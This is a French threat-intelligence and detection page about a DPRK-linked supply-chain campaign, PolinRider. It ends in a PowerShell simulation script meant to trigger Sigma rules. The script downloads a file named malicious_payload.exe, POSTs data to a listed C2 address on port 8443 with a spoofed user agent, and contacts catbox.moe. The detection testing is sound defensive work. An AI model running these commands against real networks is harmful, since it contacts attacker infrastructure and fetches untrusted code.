La campagne DPRK PolinRider démontre une activité de chaîne d’approvisionnement avec commande manuelle
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un acteur menaçant lié à la Corée du Nord a mené une attaque par chaîne d’approvisionnement contre des environnements de développement en utilisant des packages Python trojanisés. La chaîne d’intrusion comprenait un chargeur Node.js, un implant C2 en JavaScript et un voleur d’informations basé sur Python. L’acteur a établi une persistance en déguisant des composants malveillants en services d’optimisation légitimes de Microsoft .NET.
Enquête
L’enquête a eu lieu dans un environnement de déception de haute fidélité où un poste de travail d’entreprise fictif a été surveillé pendant 167 heures. Les analystes ont capturé des activités clavier en main en temps réel, y compris l’exécution de charges utiles malveillantes et la mise en scène de données. La télémétrie collectée a exposé la chaîne d’attaque complète, de la compromission initiale à travers un dépôt malveillant à l’exfiltration de données hôte.
Atténuation
Les organisations devraient appliquer un balayage rigoureux des dépendances à travers npm, PyPI et d’autres gestionnaires de packages. Le filtrage de sortie devrait bloquer les connexions HTTP vers des adresses IP publiques brutes sur des ports non standards. Les défenseurs devraient également surveiller les mécanismes de persistance inhabituels, y compris les tâches planifiées ou les entrées de registre imitant les composants Microsoft .NET depuis les chemins de profil système.
Réponse
Si une activité malveillante est détectée, les équipes de sécurité devraient immédiatement isoler l’environnement de développement ou de construction affecté. Les intervenants devraient rechercher des adresses IP C2 connues et des modèles de fichiers suspects tels que SvcHostUpdate.py. Un examen judiciaire des dépendances tierces récemment installées devrait également être effectué, ainsi qu’un audit du profil système pour des MicrosoftCLROptimization artefacts non autorisés.
Flux d’attaque
Nous mettons encore à jour cette partie.
Exécution de simulation
-
Narration & Commandes d’attaque : L’adversaire vise à progresser dans l’infection en récupérant une charge utile de deuxième niveau et en exfiltrant les données de configuration volées. Pour imiter PolinRider, l’attaquant va :
- Use
curlorInvoke-WebRequestpour récupérer un fichier factice depuis une URL « raw » GitLab. - Effectuer une requête POST à l’IP C2 identifiée (
150.251.113.223:8443) tout en usurpant un agent utilisateur correspondant aumodèle rotating.*agent. - Accéder à
dns.catbox.moepour simuler un battement de cœur C2 secondaire ou une livraison de charge utile. Ces actions sont conçues pour déclencher les trois critères de sélection distincts dans la règle Sigma.
- Use
-
Script de test de régression :
# Script de simulation PolinRider Write-Host "[!] Début de la simulation de réseau PolinRider..." -ForegroundColor Cyan # 1. Déclencher la sélection 2 : Récupération depuis GitLab Raw Write-Host "[*] Déclenchement de la sélection 2 : Récupération GitLab Raw..." Invoke-WebRequest -Uri "https://gitlab.com/api/v4/raw/malicious_payload.exe" -Method Get -UserAgent "Mozilla/5.0" # 2. Déclencher la sélection 1 : POST à C2 avec User-Agent tournant Write-Host "[*] Déclenchement de la sélection 1 : POST C2 avec User-Agent tournant..." $c2Url = "http://150.251.113.223:8443/upload" $fakeUA = "Mozilla/5.0 rotating-agent-v1.2" Invoke-WebRequest -Uri $c2Url -Method POST -UserAgent $fakeUA -Body "dummy_data" # 3. Déclencher la sélection 3 : Modèle DNS/URL pour catbox.moe Write-Host "[*] Déclenchement de la sélection 3 : connexion Catbox.moe..." Invoke-WebRequest -Uri "https://dns.catbox.moe/check" -Method Get -UserAgent "Mozilla/5.0" Write-Host "[+] Simulation complète. Vérifiez les alertes SIEM." -ForegroundColor Green -
Commandes de nettoyage :
# Aucune modification persistante effectuée sur le système; # Les connexions réseau sont éphémères. # Aucun fichier n'a été écrit sur le disque dans cette simulation. Write-Host "[*] Nettoyage : Aucun fichier ou clé de registre n'a été modifié. La simulation est propre." -ForegroundColor Cyan